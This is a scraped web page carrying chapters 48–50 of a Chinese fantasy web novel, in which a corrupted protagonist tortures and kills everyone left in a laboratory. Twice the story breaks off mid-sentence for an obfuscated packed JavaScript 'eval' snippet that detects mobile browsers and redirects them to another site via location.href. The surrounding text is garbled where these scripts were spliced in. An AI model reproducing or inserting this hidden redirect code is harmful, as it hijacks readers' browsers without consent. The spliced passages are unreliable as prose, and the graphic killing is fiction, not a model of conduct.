李嵩在百米外警惕地盯着他,李默拄着刀站在原地,几名魏家汉子还在为刚才的变故发愣,甚至连角落里的兽王都缩在阴影里,没有任何异常的能量波动,也没有任何隐藏的身影。 可那道声音,却像附骨之疽般,在他脑海里反复回荡,挥之不去。 “呵呵,别找了。”那声音再次响起,带着一丝戏谑,“我就是你,是你内心深处最真实的想法——你不是早就厌烦了这些人的轻视吗?不是早就想把那些高高在上的家伙踩在脚下吗?” 叶平的呼吸骤然急促起来,脑海里不由自主地闪过过往的画面。 地位更高的那些人对他的嘲讽、长老们对他的忽视。 李嵩之前看他时那种“随时可以舍弃”的眼神……这些画面像潮水般涌来,与那道声音交织在一起。 “现在你有能力了,有能轻易杀死他们的力量了,为什么不动手?难道你还想像以前一样,做个任人拿捏的废物?” “闭嘴!”叶平厉声嘶吼,右手猛地攥紧,黑色的“衰亡之力”在掌心凝聚,差点失控爆发。 他知道这声音在蛊惑自己,可那些话语却精准地戳中了他内心最深处的欲望——他渴望力量,渴望掌控,渴望让所有轻视他的人都付出代价。 “无能狂怒吗?”那声音嗤笑一声,“你在这里自欺欺人,丢人的可不是我,是你自己——你看看周围,他们都在看你的笑话呢。” 叶平下意识地顺着声音的指引,将目光投向四周。 李默皱着眉头,眼神里满是“叶平已经疯了”;最远处的李嵩,更是用一种“观察疯子”的眼神盯着他,眼底的警惕中夹杂着一丝轻蔑。 这些眼神像一把把尖刀,狠狠扎在叶平的心上——他最讨厌的,就是这种被当成“异类”“疯子”的目光。 就像以前在叶家,那些高高在上的家伙看着他时的眼神一样。一股难以抑制的怒火从他心底升起,混杂着被蛊惑的欲望,渐渐吞噬了他的理智。 “我要杀光他们……”叶平喃喃自语,声音低沉,却带着一种令人心悸的决绝。 混沌色的瞳孔里,最后一丝清明渐渐消失,取而代之的是疯狂的杀意。 “是的,你要杀光他们,一个不留。”那声音像温柔的呢喃,不断强化着他的想法,“杀了他们,就没人再敢轻视你;杀了他们,你就能彻底掌控自己的命运;杀了他们,你就是唯一的强者……” 叶平的嘴角缓缓勾起一抹冰冷的微笑,之前的挣扎与抗拒彻底消失不见。 他抬起头,目光扫过实验室里的每一个人,眼神里没有了丝毫犹豫,只剩下纯粹的杀意。 “好的。”他轻声回应,声音平静得像在说一件再普通不过的事,可掌心凝聚的“衰亡之力”,却比之前更加浓郁,黑色的光晕几乎要将他的手掌完全包裹。 实验室里的气氛瞬间降至冰点。 李默最先察觉到不对劲,脸色骤变,厉声喊道:“叶平!你清醒一点!现在不是内斗的时候!” 可叶平根本没有理会他,脚步缓缓抬起,朝着最近的一名魏家汉子走去——那名汉子刚才还在嘲笑他,此刻却被叶平眼中的杀意吓得浑身发抖,连武器都握不住了。 李嵩在远处看得心惊肉跳,他没想到叶平竟然真的被欲望吞噬,彻底疯了。他一边调动能量,准备随时应对叶平的突袭,一边在心底暗骂:“疯子!真是个彻头彻尾的疯子!” 而叶平,此刻已经完全沉浸在自己的世界里,脑海里只有那道声音的指引,只有“杀光所有人”的执念。 他一步步走向那名魏家汉子,黑色的“衰亡之力”在掌心跳动,一场新的**,即将在这个满是尸体与血腥的实验室里,再次上演。 第 48章 反杀 在准备动手之前,叶平的心中其实并非没有思考。 只不过当他感受到自己的力量时,思考的方向便随之一同发生了变化。 叶平低头看着掌心残留的黑色光晕,那是「天人五衰」力量消散后留下的余温,指尖仿佛还能感受到叶鸿生命快速衰败的触感。 这种“掌控他人生死”的感觉,让他浑身血液都在沸腾,比任何时候都要痴迷。 他轻轻转动手腕,黑白二色的能量在掌心交织,时而化作「加速世界」,时而凝成「颠倒世界」。 每一次能量的流转,都在提醒他:自己已经拥有了曾经梦寐以求的强大力量。 “张玉汝那个蠢货,明明握着这么厉害的能力,居然还沦落到被炼制成丹药的地步。”叶平嗤笑一声,语气里满是轻蔑。 在他看来,张玉汝就是个彻头彻尾的失败者——拥有能威胁天人的力量,却不知道好好利用,反而被四大家族围剿,最后连躯体都成了别人的“素材”,简直是对力量的浪费。 “他到底为什么会这么蠢?” 叶平皱着眉思索,脑海里闪过之前查到的关于张玉汝的信息。 张玉汝曾为了保护流民,独自对抗过成群的异兽;还因为夏侯雪这个和自身关联没有那么大的人,暴露了自己的藏身之地。 想到这些,叶平突然明白了:“原来是因为他有太多弱点了。” 他摇了摇头,眼神里满是不屑,“居然会为了不相干的人的性命,让自己陷入险境,这种天真,不死才怪。” “这样的蠢事,我可不会做。”叶平握紧拳头,掌心的能量瞬间爆发,将地面震出一道浅坑。 他已经在心里制定好了计划:现在自己刚融合混元大丹,力量还没完全掌控,而且杀了叶鸿,必然会引来叶家乃至其他天人家族的追杀。 最稳妥的做法,就是找个隐蔽的地方,偷偷修炼,彻底掌控「造化之眼」「天人五衰」这些能力,等到自己拥有绝对实力——至少能碾压所有宗师级能力者的时候,再重新出现在世人面前。 至于过程中可能遇到的“牵绊”,叶平早已在心里做好了决断。 他甚至冷酷地想到:就算是他亲妈被人抓了,用来要挟他,他也绝不会停下修炼的脚步,更不会为了救人暴露自己。 大不了等以后实力足够了,再找到那些人,用最残忍的方式报仇——对他而言,任何可能影响自己变强的因素,都必须被舍弃,哪怕是亲情。 区区亲妈,在神功大成面前又算得了什么,等到他成为大宗师级别的能力者,他想有几个妈妈就有几个妈妈。 “不过,在那之前,还有一件事要做。” 叶平抬起头,混沌色的瞳孔扫过实验室里残存的人——李默、李嵩、几名魏家汉子,还有柳家剩下的两名专家。 这些人都亲眼看到了他杀叶鸿的过程,也知道他融合了混元大丹,若是放他们离开,用不了多久,他的行踪就会传遍整个雍州,到时候别说安心修炼,恐怕连安稳藏身都做不到。 “必须杀光他们,一个都不能留。” 叶平的声音冰冷得没有一丝温度,掌心再次凝聚起黑色的“衰亡之力”。 他看着那些人,眼神里没有丝毫犹豫,只有纯粹的杀意——对他而言,这些人已经不是“同伴”或“合作者”,而是可能暴露自己的“隐患”,而消除隐患的最好方式,就是让他们彻底消失。 李默似乎察觉到了叶平的意图,脸色骤变,快步上前一步,试图劝说:“叶平!你冷静点!现在杀了我们,只会让局势更糟!你杀了叶鸿,叶家已经不会放过你了,再杀我们,李家、魏家也会成为你的敌人,到时候你会被整个雍州的天人家族追杀!” 叶平却只是冷笑一声,脚步缓缓朝着李默走去:“追杀?等我掌控了所有力量,他们连追杀我的资格都没有。现在,你们只需要做一件事——**。” 实验室里的气氛彻底凝固,李嵩下意识地后退,将能量提到极致,随时准备突围。 几名魏家汉子也握紧了武器,虽然知道不是叶平的对手,却也不想坐以待毙;而叶平,依旧一步步向前,掌心的“衰亡之力”越来越浓郁,黑色的光晕几乎要将他整个人笼罩。 实验室里的空气像被冻住了,每一秒都过得无比漫长。 众人僵在原地,肌肉紧绷到发颤,耳边只能听到自己的心跳声——叶平周身散发出的杀意太浓,像一张无形的网,将所有人都罩在里面,连呼吸都变得艰难。 有人下意识地攥紧武器,指节泛白,却连抬起的勇气都没有;有人眼神躲闪,悄悄往后挪步,想趁着混乱逃离,可双脚像灌了铅一样沉重。 就在这股压抑快要将人逼疯时,叶平的身影突然消失了。 没有任何预兆,不是能量波动后的加速,而是像被瞬间抹去——原地只留下一道白色的流光,撕裂空气时发出“嗤啦”的锐响,地面甚至被这股极速带起的气流划出一道浅沟。 流光掠过众人身旁时,有人感受到一阵刺骨的寒意,下意识地缩了缩脖子,等反应过来时,那道流光已经杀向了百米外的李嵩。 “好快!”李默瞳孔骤缩,他也是大师级能力者,却连叶平的残影都看不清——「刹那」带来的极速,已经彻底超出了大师级的反应极限。 其他幸存者更是吓得脸色惨白,站在原地一动不动,连逃跑的念头都忘了。 只有李嵩,在流光袭来的瞬间,嘴角勾起一抹冰冷的冷笑。 他之前避着叶平,从不是怕了,而是不想为了一个“刚获得力量的疯子”浪费能量,更不想被「天人五衰」缠上损失寿数。 就像人类遇到野狗挑衅,通常会绕道走,不是打不过,而是怕被咬伤后还要处理伤口。 可现在,叶平主动扑了上来,还想用偷袭的方式杀他,这就像野狗真的咬到了人,彻底点燃了他的怒火。 “呵,不知死活的东西。”李嵩低声冷哼,指尖早已凝聚起淡蓝色的能量。 在叶平的身影即将出现在他面前时,他抬手一扬,一团湛蓝色的海水凭空出现,悬浮在两人之间。 海水不大,只有圆桌大小,却泛着深邃的光泽,表面还萦绕着细小的漩涡,像一片浓缩的深海。 叶平的身影在海水中显现,他保持着突袭的姿势:右腿高高抬起,带着黑白二色的能量,想一脚踩碎李嵩的头颅,眼神里满是狂妄与不屑。 面对这团看似普通的海水,他没有丝毫停顿——在他看来,李嵩不过是想靠这点能量阻拦,只要冲破海水,就能像杀叶鸿一样,轻松解决这个宗师级。 可当他的脚踏入海水的瞬间,脸色骤变。 明明身体还停留在原地,没有向前移动半分,他却清晰地感觉到一股强大的吸引力从海水深处传来,像无形的大手,拽着他不断向下“坠落”。 四周的海水变得越来越粘稠,水压以肉眼可见的速度攀升,挤压着他的四肢百骸——手臂上的骨骼发出“咯吱”的脆响,胸口像被巨石压住,连呼吸都变得困难,内脏仿佛要被这股压力挤碎。 “怎么回事?!”叶平心头一惊,下意识地调动「加速世界」的力量想挣脱,可白色能量刚在体内运转,就被海水中的漩涡吸走,连一丝浪花都没激起。 他又尝试用「枯荣」的力量衰亡腐蚀海水,然而黑色能量融入海水后,却像石沉大海,瞬间被稀释得无影无踪。 “小子,真以为阴死个叶鸿,就能在我面前耀武扬威了?” 李嵩站在海水外,面带讥讽,指尖轻轻转动,海水中的漩涡转得更快。 “你以为宗师级凭什么能压着你们这些小辈?真以为就只有叶鸿那种蠢货,才会被你的小把戏偷袭?” 他抬手拍了拍那团海水,淡蓝色的能量顺着他的指尖涌入,海水的颜色变得更深邃,里面的吸引力也更强了。 “这招叫「深渊」,是我仿照当年海洋类泰斗级能力者的招牌招式「归墟」改的——别看它小,里面可是浓缩了‘深海领域’。” 李嵩的声音带着一丝傲慢,“你会感觉自己一直在往下掉,水压会越来越大,直到把你的身体挤碎、能量耗干。只要我的能量没耗尽,你就永远别想出得来。” 叶平在海水中挣扎着,混沌色的瞳孔里满是难以置信的恐慌。 他从未想过,李嵩竟然有这么强的压箱底本事,更没想到自己引以为傲的速度和力量,在这团海水面前如此不堪一击。 水压还在不断增加,他的肋骨已经断了两根,鲜血从嘴角溢出,融入海水中,却被瞬间卷向深处,连一丝痕迹都没留下。 实验室里的幸存者们看得目瞪口呆,刚才还觉得叶平不可战胜,转眼间,这个“疯子”就陷入了必死的困境。 李默松了口气,却又皱紧了眉头——李嵩的强大,比叶平更让他忌惮,现在叶平被制住,他们这些之前做了错事的幸存者,又该如何面对这位宗师级? 海水中的叶平还在挣扎,可他的力气越来越小,眼神里的狂妄渐渐被绝望取代。 他终于明白,自己还是太天真了——融合了混元大丹,不代表就能真正碾压宗师级,更不代表就能为所欲为。 而李嵩看着海水中逐渐虚弱的叶平,嘴角的讥讽更浓:“现在知道怕了?晚了——敢对宗师动手,就要有死的觉悟。” 海水中的水压还在疯狂攀升,叶平的肋骨已经断了七根,每一次呼吸都带着撕裂般的剧痛,浑浊的血液从嘴角溢出,在湛蓝色的海水中晕开淡淡的红雾。 他的意识开始模糊,混沌色的瞳孔里映出的,全是李嵩那张带着讥讽的脸——难道自己刚获得力量,就要死在这团人造的“深海”里? 就在这时,一道极轻的叹息突然钻进他的耳朵,像从灵魂深处传来,带着一丝悲悯,又藏着一丝蛊惑:“哎……就这点能耐?” 这声音只有叶平能听见。 他猛地回神,胸口的剧痛仿佛都减轻了几分,脑海里那道“杀了他们”的低语再次响起,这一次却多了个清晰的指令:“颠倒。 ”“颠倒!”叶平几乎是本能地低吟出声,体内原本被压制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562131|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的墨色能量突然爆发,像挣脱枷锁的野兽,顺着他的毛孔疯狂渗出。 那墨色能量没有四散,反而紧紧贴着他的躯体,形成一层薄薄的黑色光膜,在接触到湛蓝色海水的瞬间,猛地向外扩散。 原本泛着深邃光泽的海水,像被墨汁浸染般,以肉眼可见的速度变黑,连里面旋转的漩涡都变了方向,从“向内吸”变成了“向外推”。 李嵩引以为傲的「深渊」,其核心本是“模拟深海漩涡”。 可叶平的「颠倒」,偏偏逆转了这股引力的流向——就像把漏斗倒过来,原本要“吞噬”叶平的力量,瞬间变成了“支撑”他的力量。 “嗤啦——”海水中突然裂开一道微小的口子,口子只有手指粗细,却像扎破的气球般,让整个「深渊」的能量瞬间泄了大半。 湛蓝色的海水开始变得稀薄,原本能压碎骨骼的水压,眨眼间就弱了下去。 求生的欲望瞬间点燃了叶平的意识!他忍着断骨的疼痛,猛地蜷缩身体,像被弹簧弹开般,顺着那道口子拼命向外挤。 墨色能量还在持续逆转引力,口子被越撑越大,当他的肩膀挤出海水的瞬间,整个人像离弦的箭般,朝着不远处的李嵩扑了过去。 “什么?!”李嵩的笑容瞬间僵在脸上,瞳孔骤缩。他怎么也想不到,自己压箱底的「深渊」,竟然会被叶平以这种诡异的方式破开! 他下意识地抬手,淡蓝色的能量疯狂涌出,眨眼间就在身前凝聚出一片无边无际的“**”——比刚才的「深渊」大了十倍不止,浪涛翻滚,还夹杂着锋利的冰棱,显然是想再次将叶平困死在海水里。 可这一次,叶平不会再给他机会。 “天人五衰!”叶平的嘶吼声在实验室里回荡。 这一次他没有留力,体内融合的混元大丹之力被彻底调动,墨色的衰亡能量不再是薄薄一层,而是化作一道黑色洪流,从他掌心喷涌而出,径直撞向那片“**”。 诡异的一幕发生了——原本汹涌的浪涛,在接触到黑色洪流的瞬间,竟像被抽走了所有生机,浪头以肉眼可见的速度枯萎、干涸,连里面的冰棱都化作了虚无。 不过呼吸间,那片能淹没整个实验室的“**”,就变成了地面上一滩散发着腐臭味的黑水,彻底失去了能量波动。 “这……这不可能!”李嵩彻底慌了,脸上的傲慢被恐惧取代。 他能清晰地感觉到,叶平这一次的「天人五衰」,比杀叶鸿时强了不止一倍——那股衰亡之力,不仅能作用于生命,连无生命的能量体都能“枯萎”,这已经超出了他对这一能力的认知! 他想后退,想再次凝聚能量防御,可叶平的速度太快了——「刹那」的极速加持还在,加上破局后的爆发力,他几乎是瞬间就冲到了李嵩面前,右手像铁钳般,死死抓住了李嵩的手腕。 墨色的衰亡之力,顺着接触点疯狂涌入李嵩体内。 最先出现的是“衣服垢秽”——李嵩那件象征李家宗师身份的长袍,瞬间变得污浊不堪,原本绣着的祥云纹被黑色的污渍覆盖,像被扔进了泥潭里浸泡了十天半月。 紧接着是“顶上花枯”——他头顶那层只有天人能看见的淡金色天华,以肉眼可见的速度褪色、枯萎,最后化作一缕黑烟消散。 “身体臭秽”和“腋下汗流”几乎同时出现——李嵩原本散发着淡淡清香的身体,突然涌出一股刺鼻的腐臭味,腋下、脖颈等部位渗出粘稠的黑色体液,顺着皮肤滑落,在地面上汇成一滩令人作呕的液体。 最恐怖的是“不乐本座”——李嵩的眼神迅速变得空洞,原本挺直的脊背垮了下来,脸上露出一种极度疲惫、生无可恋的表情。 他看着自己沾满黑液的双手,感受着体内生命力快速流逝的绝望,一股强烈的“想死”的欲望涌上心头。 “你……你不能杀我!我是李家宗师!杀了我,李家绝不会放过你!”李嵩的声音带着哭腔,再也没有了之前的傲慢,只剩下临死前的挣扎。 叶平却只是冷笑,手指微微用力,捏碎了李嵩手腕的骨骼:“不放过我?等你**,谁还能找到我?” 话音刚落,李嵩的眼神彻底失去了光彩。 他像叶鸿一样,举起另一只手,重重拍在自己的胸口——那里是他的能量核心。 “轰”的一声轻响,李嵩的身体在能量自爆中化为碎片,黑色的体液和破碎的衣物溅得满地都是。 叶平松开手,甩了甩掌心的黑液,混沌色的瞳孔扫过实验室里剩下的人——李默,还有两名柳家专家,以及赵、秦、魏三家的代表。 这些人早已吓得瘫在地上,脸色惨白,眼神里满是恐惧,连逃跑的力气都没有了。 叶平缓缓走向他们,掌心的墨色能量还在跳动。 刚才反杀李嵩的快感,让他对这股力量更加痴迷——原来掌控他人死活的感觉,这么痛快。 “现在……该轮到你们了。”他的声音平淡得像在说一件微不足道的小事,可落在幸存者耳中,却比外面的兽吼声还要恐怖。 第 49章 恶魔 “哈哈哈!哈哈哈!”叶平的狂笑声在满是血腥的实验室里回荡,尖锐又刺耳,像淬了毒的利刃,扎得幸存者们浑身发颤。 他一边大笑着,一边抬起右手——墨色的衰亡之力在掌心凝聚,化作一道黑色光刃,随手一挥,就将一名试图逃跑的魏家汉子拦腰斩断。 鲜血溅在他的脸上,温热的触感不仅没让他感到不适,反而让他笑得更疯狂了。 他低头看着掌心跳动的黑色能量,感受着体内奔腾的力量。 那是混元大丹彻底融合后带来的充盈感,四肢百骸里仿佛藏着无尽的能量,每一次呼吸都能调动起澎湃的力量,连身体都变得异常轻盈,仿佛只要轻轻踮起脚尖,就能冲破屋顶,直冲云霄。 “这就是力量!这才是力量!”叶平嘶吼着,声音里满是亢奋与痴迷。 他之前在叶家受的委屈、被轻视的压抑、面对长老时的卑微,在这一刻全都烟消云散——那些曾经压在他头上的人,现在在他眼里,不过是随手就能捏死的蝼蚁。 一名叶家子弟吓得瘫在地上,抱着头瑟瑟发抖,嘴里不停念叨着“别杀我”。 叶平缓步走到他面前,居高临下地看着他,混沌色的瞳孔里没有丝毫怜悯。 “你之前不是很看不起我吗?”叶平轻笑一声,抬脚踩在对方的手腕上,“你不是觉得我成不了大事吗?现在再看看,谁才是废物?” “咔嚓”一声脆响,那名叶家子弟的手腕被踩断,凄厉的惨叫声响彻实验室。 叶平却像没听见一样,脚下的力气越来越大,直到对方的手腕彻底变形,才收回脚,随手一道黑色光刃,结束了对方的性命。 他转身看向李默,这位曾经的“盟友”此刻正靠在墙壁上,脸色惨白,握着刀的手不停颤抖。 “李默,你也想试试吗?”叶平笑着问道,语气里满是戏谑。 “试试被「天人五衰」折磨的滋味?” 李默咬着牙,没有说话,却缓缓举起了刀——他知道自己不是叶平的对手,但也不想像其他人一样,毫无反抗地死去。 可还没等他冲上去,叶平就已经出现在他面前,右手轻轻按在他的胸口。 墨色的衰亡之力瞬间涌入,李默甚至没来得及感受到疼痛,就发现自己的身体开始快速衰败——皮肤失去光泽,头发变得花白,原本挺拔的身体也迅速佝偻下去,像瞬间老了几十岁。 “你……你已经彻底疯了……”李默用尽最后一丝力气,说出这句话,随后头一歪,没了气息。 叶平收回手,看着实验室里倒在地上的尸体,脸上的笑容依旧灿烂。 他张开双臂,感受着体内源源不断的力量,这种“掌控一切”的自信,这种“随心所欲”的满足感,是他过去几十年人生里从未有过的。 以前的他,像活在阴影里,连呼吸都要小心翼翼;现在的他,像站在烈日下,所有的一切都要围着他转。 “还有谁?!”叶平朝着实验室外嘶吼,声音里满是狂妄,“还有谁想试试我的力量?!” 外面的兽吼声似乎被他的气势震慑,短暂地停了一下。叶平低头看了看自己沾满鲜血的双手,又抬头望向实验室破洞的屋顶——那里能看到灰蒙蒙的天空,以及远处城墙上腾起的黑烟。 “从今天起,没人能再管我了。” 叶平轻声呢喃,眼神里满是疯狂与憧憬。 “我会找个地方,彻底掌控这股力量,到时候……整个雍州,整个天下,都要听我的!” 他转身朝着实验室后门走去,黑色的衰亡之力在他周身萦绕,像一道无形的屏障,挡开了地上的尸体与碎片。 曾经的“叶家嫡系”叶平已经**,现在活着的,是一个被力量吞噬、彻底黑化的疯子。 叶平踩着满地鲜血往前走,一名柳家专家抱着脑袋往实验室角落爬,指甲抠得地面划出一道道白痕,嘴里不停求饶:“别杀我!我只是个研究员!我什么都不会说出去!” 叶平的脚步顿住,混沌色的瞳孔落在那人颤抖的背影上,脑海里却突然闪过叶家宗祠的画面。 每年宗族祭祀时,那些真正的核心嫡系站在高台上,穿着镶金边的天衣,手里端着千年雪莲泡的茶,连眼神都懒得往他这边扫。 他想起自己为什么会来做这个“实验负责人”——叶家嫡系太多了,多到像田埂里的野草,随便揪一把都是“嫡系血脉”。 别家宗族把嫡系当宝贝,叶家却因为生育率堪比兔子,嫡系数量快赶上旁系,资源分配时,他这种“没背景的嫡系”连汤都喝不上。 他的父亲只是叶家的普通长老,没摸到核心权力圈,他从小就只能穿二等的布料,练最低阶的**,想要一枚晋升,都得跟着队伍去拼命,好几次差点死在外面。 可那些核心嫡系呢?他们不用出任务,不用跟异兽拼命,甚至不用自己找修炼资源。 长辈早把最好的**、最纯的晶核、最顶级的导师送到面前,每天只要按部就班地修炼,到了年纪就能接手家族的产业,就能站在高台上,用那种轻蔑的眼神看他这种“拼命往上爬的边缘人”。 他们才是天人,才配抬起头展**严,而他,不过是个顶着“嫡系”名头的蝼蚁。 “呵呵……”叶平低笑出声,笑声里满是冰冷的怨恨。 他一步步走向那名柳家专家,墨色的衰亡之力在掌心凝聚:“你刚才对张玉汝的躯体动手时,怎么没这么怕?” 那人愣住了,显然没料到叶平会提这个。 是啊,他们之前剖开张玉汝的躯体取样时,眼神里只有贪婪,连一丝犹豫都没有。 他们看着融灵液腐蚀张玉汝的皮肤时,嘴角甚至带着笑意,只想着能快点炼出高阶丹药——他们本就是恶魔,是为了利益能践踏一切的恶魔。 可现在,面对比他们更狠、更强大的叶平,他们却露了原形:抱着头求饶,哭着说自己只是“奉命行事”,连反抗的勇气都没有。 刚才还在指挥助手“加快催化速度”的柳家专家,此刻像条丧家之犬,连抬头看叶平的勇气都没有。 “晚了。”叶平的声音没有一丝温度,右手轻轻按在那人的后颈。 墨色能量瞬间涌入,那人甚至没来得及发出惨叫,身体就开始快速衰败——皮肤变得干瘪,头发掉得精光,原本还算壮实的身躯,眨眼间就变成了一具皮包骨的干尸,倒在地上发出“咔嗒”的轻响。 最后一名幸存者是魏家的汉子,他没求饶,而是握紧了腰间的**,朝着叶平冲过来:“老子跟你拼了!” 可他的速度在叶平眼里慢得像蜗牛,叶平只是侧身躲开,随手一道黑色光刃,就斩断了他的手臂。 汉子惨叫着倒在地上,鲜血从断臂处喷涌而出。叶平蹲下身,看着他痛苦的表情,轻声道:“你以为你很勇敢?你之前帮着叶家看守张玉汝时,不也一样把他当货物?” 他抬手,黑色能量再次凝聚,“现在,轮到你还债了。” 随着最后一声惨叫消散,实验室里彻底安静下来,只剩下叶平粗重的呼吸声和外面隐约的兽吼声。 他站起身,环顾四周——满地的尸体,破碎的仪器,凝固的鲜血,还有空气中弥漫的腐臭味,这一切都像一幅地狱的画卷。 可叶平却觉得无比舒畅。 他抬手摸了摸自己的脸颊,上面还沾着别人的血,却笑得格外灿烂:“那些核心嫡系……你们不是喜欢高高在上吗?等着吧,总有一天,我会把你们都拉下来,让你们尝尝我受过的苦,让你们知道,什么叫真正的力量。” 他体内的能量还在奔腾,那种充盈感让他忍不住想放声大笑。他不再是那个需要拼命争取资源的边缘嫡系,不再是那个只能看着别人享受特权的蝼蚁——现在的他,是掌控生死的恶魔,是能让所有轻视他的人低头的强者。 叶平转身朝着实验室后门走去,黑色的衰亡之力在他周身形成一道屏障,挡开了地上的尸体。 叶平推开实验室后门,一股混杂着血腥味与焦糊味的风迎面扑来,呛得他微微皱眉。 映入眼帘的,是被异兽肆虐后彻底沦为废墟的城市街区——原本整齐的商铺倒塌了大半,钢筋混凝土扭曲成怪异的形状,像死去巨兽的骸骨。 几辆军用悬浮车翻倒在路边,车身被异兽的利爪划开深深的口子,里面的士兵尸体早已冰冷,鲜血浸透了座椅,顺着车门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这句话像一道惊雷,让叶平的脚步猛地顿住。他低头看向自己的手掌,掌心还残留着墨色的衰亡之力,体内的混元大丹正微微发烫,一股熟悉的能量波动顺着丹药流遍全身——这波动,和他之前从张玉汝躯体上感受到的,一模一样。 “没想到,实在是没想到。”叶平缓缓握紧拳头,混沌色的瞳孔里闪过一丝了然,语气却带着几分自嘲。 “掌控心灵的叶家子弟,到头来,会被自己最擅长的手段影响到——不,应该说,是被你的残魂缠上了。” 他终于反应过来,脑海里的声音根本不是什么“内心欲望”,而是张玉汝死后残留的意识——那颗混元大丹是用张玉汝的躯体炼成的,他融合丹药时,不仅吸收了对方的能力,还无意间将对方的残魂也一并纳入了体内。 之前破局的「颠倒」之力、蛊惑他杀戮的念头,恐怕都有这残魂在背后推波助澜。 “在你**别人心灵的时候,是否想过自己会有同样的结果呢?”那声音再次响起,这一次,调子清晰了许多,竟隐约带着张玉汝生前的沉稳。 “你用心灵暗示操控过多少人?让多少人为你卖命,最后却落得被抛弃的下场?现在,你被我的残魂影响,算不算报应?” “报应?”叶平嗤笑一声,抬脚朝着那只盯着他的裂地兽走去。 墨色的衰亡之力在他掌心凝聚,那只裂地兽似乎感受到了危险,猛地扑了过来,巨大的爪子带着风声拍向他的头顶。 叶平侧身躲开,右手轻轻按在裂地兽的脖颈上。 墨色能量瞬间涌入,那只庞大的异兽连惨叫都没发出,身体就快速衰败,原本油亮的棕色皮**变得干枯,肌肉迅速萎缩,眨眼间就变成了一具干瘪的兽尸,重重摔在地上。 叶平收回手,看着地上的兽尸,语气坚定:“成王败寇,只要我最后胜利了,不管过程中用了什么手段,不管被谁影响,都是对的。你以为你的残魂能控制我?不过是我利用你的力量罢了。” 他顿了顿,扭了扭脖子,骨骼发出“咔咔”的轻响,像是在为接下来的行动热身。 体内的混元大丹还在发烫,张玉汝的残魂似乎还想再说什么,却被叶平强行压制下去。 “好了,张玉汝,你已经**。”叶平的声音冷了下来,带着不容置疑的强硬。 “你的躯体成了我的丹药,你的能力成了我的力量,现在,连你的残魂也该安分点——别再阴魂不散地在我脑子里说话,我不想听,也没兴趣听。” 说完,他猛地调动体内的能量,墨色的衰亡之力顺着经络流遍全身,像一把刷子,狠狠刷洗着意识深处的残留痕迹。 不知是他的强硬起了作用,还是张玉汝的残魂本就支撑不了多久,脑海里的声音终于彻底消失,只剩下一片清净。 第 50章 无踪 残阳把长安外城的废墟染成一片血红色,断壁残垣的阴影里藏着未散的血腥味。 三道暗墨色身影贴着倒塌的商铺墙壁移动,为首的叶苍身上萦绕着淡白精神力,像细密的蛛网般扫过周围。 他是叶家派来探查的长老,精神系大师级能力者,在接到“叶鸿失联”的消息后,便带着两名精锐子弟赶了过来,一路上不敢有任何的差错。 “能量扫描开到最大,注意屏蔽异兽干扰。”叶苍的声音通过加密通讯器传到队员耳中,没有一丝起伏。 左侧队员立刻举起便携式探测器,屏幕上跳动着杂乱的波段,红色警示灯偶尔闪烁,却不是针对他们的。 远处几只异兽在废墟里游荡,低吼声顺着风飘过来,却没敢靠近这片残留着高阶能量的区域。右侧队员握着柄蓝光短刃,刀刃贴在小臂上,目光扫过每一处阴影,连墙角的碎砖都没放过。 他们踩着碎裂的柏油路往前走,脚下不时传来“咯吱”声——那是混着玻璃碴的血迹凝固后形成的硬块。 一辆翻倒的军用悬浮车横在路中间,车身侧面被异兽利爪撕开两米长的口子,里面的座椅浸满黑红色血渍。 几只乌鸦正啄食着座椅上的碎肉,见有人来,扑棱着带血的翅膀飞走,留下几片羽毛落在血渍里。 不远处,一只裂地兽的尸体趴在地上,腹部被某种力量剖开,腐烂的内脏流了一地,散发出的腐臭味混着融灵液的刺鼻味,让队员忍不住皱紧眉头。 “实验室在前面。”叶苍指着不远处一栋半塌的建筑,外墙布满抓痕和弹孔,三栋楼的窗户玻璃全碎了,黑漆漆的窗口像张要吞噬人的嘴。 他先将精神力探入建筑内部,确认没有活物气息后,才抬手推开门——门轴锈迹斑斑,发出“吱呀”的刺耳声响,在寂静的废墟里格外突兀。 实验室内部比外面更显惨烈。中央的聚能阵盘彻底崩裂,七颗能量晶核只剩几颗带着裂纹的残片,散落在地上,原本金色的纹路早已暗淡,只剩几道黑褐色的腐蚀痕迹。 周围的实验台倒了一地,玻璃器皿碎成细小的碴子,混着暗红色血迹,踩上去能感觉到尖锐的刺痛。 一台监测仪摔在墙角,屏幕碎成蛛网纹,线路从机身里扯出来,像杂乱的头发,还残留着焦糊味,显然是被能量冲击烧毁的。 “长老,这里有尸体。”左侧队员的声音带着一丝凝重。 叶苍走过去,目光扫过地面——最靠近门口的是名中年汉子,尸体已经僵硬,断臂处的伤口狰狞,皮肤呈现出不正常的灰黑色,像是被抽干了所有生命力,连指甲盖都泛着死灰。 往里走,两名柳家专家蜷缩在实验台旁,头发全白了,皮肤干瘪得贴在骨头上,脸上还凝固着惊恐的表情,嘴角残留着黑色血渍,显然死前经历了极大的痛苦。 不远处的李默靠在墙上,胸口有个贯穿伤,伤口边缘的皮肤同样泛着灰黑,手里还攥着半截断刀,刀身的光泽早已褪去。 叶苍蹲下身,手指轻轻拂过李默的皮肤,淡白精神力探入——残留的能量很微弱,却带着熟悉的“衰亡”属性,是张玉汝能力的特征。 他又走到聚能阵盘旁,捡起一块晶核残片,指尖传来细微的水系能量波动,眉头瞬间皱紧:“是李家的「深渊」留下的痕迹……李嵩也在这里动手了。” “叶长老倒是来得快。” 门口突然传来脚步声,五名月白色身影走了进来,为首的李砚掌心萦绕着淡蓝水系能量,眼神警惕地盯着叶苍。 “你们找到李嵩长老的踪迹了吗?”他是李家派来的精英,水系大师级,接到消息时比叶苍晚了半个时辰,却一路用“水遁”赶了过来。 